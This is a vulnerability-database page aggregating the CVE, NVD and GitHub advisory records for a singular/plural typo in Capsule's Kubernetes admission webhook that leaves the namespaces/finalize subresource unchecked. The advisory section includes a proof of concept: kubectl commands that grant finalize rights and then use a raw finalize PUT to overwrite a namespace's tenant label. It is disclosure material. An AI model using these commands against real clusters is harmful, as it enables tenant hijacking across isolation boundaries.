Vulnerability-Lookup

CVE-2026-55636 (GCVE-0-2026-55636)

Vulnerability from cvelistv5 – Published: 2026-09-15 15:27 – Updated: 2026-09-15 18:02

Title

Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected

Summary

Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.6, charts/capsule/templates/configuration.yaml configures the validating webhook with namespace/finalize instead of the Kubernetes resource name namespaces/finalize. A user with namespaces/finalize RBAC can send a PUT request to /api/v1/namespaces/{namespace}/finalize, and the singular rule never matches the plural resource, so the validating webhook is not invoked and the user can change the namespace tenant label. matchPolicy: Equivalent does not compensate because it handles API group and version equivalence rather than resource-name errors. This vulnerability is fixed in 0.13.6.

Severity

5.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 17:38 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/projectcapsule/capsule/securit…	x_refsource_CONFIRM
https://github.com/projectcapsule/capsule/pull/1966	x_refsource_MISC
https://github.com/projectcapsule/capsule/commit/…	x_refsource_MISC
https://github.com/projectcapsule/capsule/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
projectcapsule	capsule	Affected: >= 0.13.0, < 0.13.6	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55636",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T17:38:16.677370Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-15T18:02:29.068Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "capsule",
          "vendor": "projectcapsule",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.13.0, \u003c 0.13.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.6, charts/capsule/templates/configuration.yaml configures the validating webhook with namespace/finalize instead of the Kubernetes resource name namespaces/finalize. A user with namespaces/finalize RBAC can send a PUT request to /api/v1/namespaces/{namespace}/finalize, and the singular rule never matches the plural resource, so the validating webhook is not invoked and the user can change the namespace tenant label. matchPolicy: Equivalent does not compensate because it handles API group and version equivalence rather than resource-name errors. This vulnerability is fixed in 0.13.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T15:27:44.731Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777"
        },
        {
          "name": "https://github.com/projectcapsule/capsule/pull/1966",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/projectcapsule/capsule/pull/1966"
        },
        {
          "name": "https://github.com/projectcapsule/capsule/commit/af2f37793e789b2301da8ed8dfb52ab60affebb6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/projectcapsule/capsule/commit/af2f37793e789b2301da8ed8dfb52ab60affebb6"
        },
        {
          "name": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.6"
        }
      ],
      "source": {
        "advisory": "GHSA-gwxr-7h77-7777",
        "discovery": "UNKNOWN"
      },
      "title": "Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55636",
    "datePublished": "2026-09-15T15:27:44.731Z",
    "dateReserved": "2026-06-16T23:52:12.057Z",
    "dateUpdated": "2026-09-15T18:02:29.068Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-55636\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-09-15T16:17:14.990\",\"lastModified\":\"2026-09-15T19:17:22.553\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.6, charts/capsule/templates/configuration.yaml configures the validating webhook with namespace/finalize instead of the Kubernetes resource name namespaces/finalize. A user with namespaces/finalize RBAC can send a PUT request to /api/v1/namespaces/{namespace}/finalize, and the singular rule never matches the plural resource, so the validating webhook is not invoked and the user can change the namespace tenant label. matchPolicy: Equivalent does not compensate because it handles API group and version equivalence rather than resource-name errors. This vulnerability is fixed in 0.13.6.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"projectcapsule\",\"product\":\"capsule\",\"versions\":[{\"version\":\"\u003e= 0.13.0, \u003c 0.13.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L\",\"baseScore\":5.7,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"HIGH\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":0.9,\"impactScore\":4.7}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-09-15T17:38:16.677370Z\",\"id\":\"CVE-2026-55636\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-863\"}]}],\"references\":[{\"url\":\"https://github.com/projectcapsule/capsule/commit/af2f37793e789b2301da8ed8dfb52ab60affebb6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/projectcapsule/capsule/pull/1966\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/projectcapsule/capsule/releases/tag/v0.13.6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777\",\"source\":\"security-advisories@github.com\"}]}}",
    "suse_vex": {
      "aggregate_severity": "moderate",
      "current_release_date": "2026-09-16T00:09:56Z",
      "cve": "CVE-2026-55636",
      "id": "CVE-2026-55636",
      "initial_release_date": "2026-07-30T16:39:02Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-55636",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-55636.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-55636\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-09-15T17:38:16.677370Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-09-15T17:38:17.896Z\"}}], \"cna\": {\"title\": \"Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected\", \"source\": {\"advisory\": \"GHSA-gwxr-7h77-7777\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"LOW\", \"privilegesRequired\": \"HIGH\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"projectcapsule\", \"product\": \"capsule\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 0.13.0, \u003c 0.13.6\"}]}], \"references\": [{\"url\": \"https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777\", \"name\": \"https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/projectcapsule/capsule/pull/1966\", \"name\": \"https://github.com/projectcapsule/capsule/pull/1966\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/projectcapsule/capsule/commit/af2f37793e789b2301da8ed8dfb52ab60affebb6\", \"name\": \"https://github.com/projectcapsule/capsule/commit/af2f37793e789b2301da8ed8dfb52ab60affebb6\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/projectcapsule/capsule/releases/tag/v0.13.6\", \"name\": \"https://github.com/projectcapsule/capsule/releases/tag/v0.13.6\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.6, charts/capsule/templates/configuration.yaml configures the validating webhook with namespace/finalize instead of the Kubernetes resource name namespaces/finalize. A user with namespaces/finalize RBAC can send a PUT request to /api/v1/namespaces/{namespace}/finalize, and the singular rule never matches the plural resource, so the validating webhook is not invoked and the user can change the namespace tenant label. matchPolicy: Equivalent does not compensate because it handles API group and version equivalence rather than resource-name errors. This vulnerability is fixed in 0.13.6.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-863\", \"description\": \"CWE-863: Incorrect Authorization\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-09-15T15:27:44.731Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-55636\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-09-15T18:02:29.068Z\", \"dateReserved\": \"2026-06-16T23:52:12.057Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-09-15T15:27:44.731Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55636

Vulnerability from fkie_nvd - Published: 2026-09-15 16:17 - Updated: 2026-09-15 19:17

Severity

5.7 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/projectcapsule/capsule/commit/af2f37793e789b2301da8ed8dfb52ab60affebb6
	security-advisories@github.com	https://github.com/projectcapsule/capsule/pull/1966
	security-advisories@github.com	https://github.com/projectcapsule/capsule/releases/tag/v0.13.6
	security-advisories@github.com	https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "capsule",
          "vendor": "projectcapsule",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.13.0, \u003c 0.13.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.6, charts/capsule/templates/configuration.yaml configures the validating webhook with namespace/finalize instead of the Kubernetes resource name namespaces/finalize. A user with namespaces/finalize RBAC can send a PUT request to /api/v1/namespaces/{namespace}/finalize, and the singular rule never matches the plural resource, so the validating webhook is not invoked and the user can change the namespace tenant label. matchPolicy: Equivalent does not compensate because it handles API group and version equivalence rather than resource-name errors. This vulnerability is fixed in 0.13.6."
    }
  ],
  "id": "CVE-2026-55636",
  "lastModified": "2026-09-15T19:17:22.553",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.7,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 0.9,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55636",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-15T17:38:16.677370Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-15T16:17:14.990",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/projectcapsule/capsule/commit/af2f37793e789b2301da8ed8dfb52ab60affebb6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/projectcapsule/capsule/pull/1966"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GWXR-7H77-7777

Vulnerability from github – Published: 2026-06-17 18:14 – Updated: 2026-06-17 18:14

Summary

Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected

Details

Summary

Capsule v0.13.2 webhook rules contain namespace/finalize (singular) instead of namespaces/finalize (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.

Details

PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The singular rule never matches. matchPolicy: Equivalent does not compensate.

PoC

Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): kubectl label --as=alice = DENIED (control). kubectl replace --raw /finalize --as=alice = 200 OK (bypass). Tenant label changed.

Impact

Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: namespace/finalize -> namespaces/finalize. The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but charts/capsule/templates/configuration.yaml line 105 contains a singular/plural typo: namespace/finalize instead of namespaces/finalize. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.

Details

In Kubernetes admission webhooks, rules.resources matches against the plural resource name. A PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The rule namespace/finalize (singular) never matches any real API request.

The matchPolicy: Equivalent setting does NOT compensate (it handles API group/version variations, not resource name typos).

PoC

Confirmed on kind cluster + Capsule v0.13.2 (Helm chart):

# Setup: alice with namespaces/finalize RBAC
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ns-finalize-updater
rules:
- apiGroups: [""]
-   resources: ["namespaces/finalize"]
-   verbs: ["update"]
- - apiGroups: [""]
-   resources: ["namespaces"]
-   verbs: ["get", "list"]
- EOF
- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice
# Control: normal label change DENIED
kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice
# Error: admission webhook denied

# Bypass: finalize changes tenant label (webhook NOT invoked)
kubectl get namespace oil-prod -o json > /tmp/ns.json
# modify tenant label to "hijacked"
kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice
# 200 OK - tenant label changed

Impact

Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: namespace/finalize -> namespaces/finalize.

Severity

5.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.13.0"
            },
            {
              "fixed": "0.13.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:14:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nCapsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.\n\n### Details\nPUT to `/api/v1/namespaces/\u003cns\u003e/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate.\n\n### PoC\nConfirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed.\n\n### Impact\nNamespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -\u003e `namespaces/finalize`.\nThe CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.\n\n### Details\nIn Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/\u003cns\u003e/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request.\n\nThe `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos).\n\n### PoC\nConfirmed on kind cluster + Capsule v0.13.2 (Helm chart):\n```bash\n# Setup: alice with namespaces/finalize RBAC\nkubectl apply -f - \u003c\u003cEOF\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: ns-finalize-updater\nrules:\n- apiGroups: [\"\"]\n-   resources: [\"namespaces/finalize\"]\n-   verbs: [\"update\"]\n- - apiGroups: [\"\"]\n-   resources: [\"namespaces\"]\n-   verbs: [\"get\", \"list\"]\n- EOF\n- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice\n# Control: normal label change DENIED\nkubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice\n# Error: admission webhook denied\n\n# Bypass: finalize changes tenant label (webhook NOT invoked)\nkubectl get namespace oil-prod -o json \u003e /tmp/ns.json\n# modify tenant label to \"hijacked\"\nkubectl replace --raw \"/api/v1/namespaces/oil-prod/finalize\" -f /tmp/ns_modified.json --as=alice\n# 200 OK - tenant label changed\n```\n\n### Impact\nNamespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -\u003e `namespaces/finalize`.",
  "id": "GHSA-gwxr-7h77-7777",
  "modified": "2026-06-17T18:14:12Z",
  "published": "2026-06-17T18:14:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55636 (GCVE-0-2026-55636)

FKIE_CVE-2026-55636

GHSA-GWXR-7H77-7777

Summary

Details

PoC

Impact

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour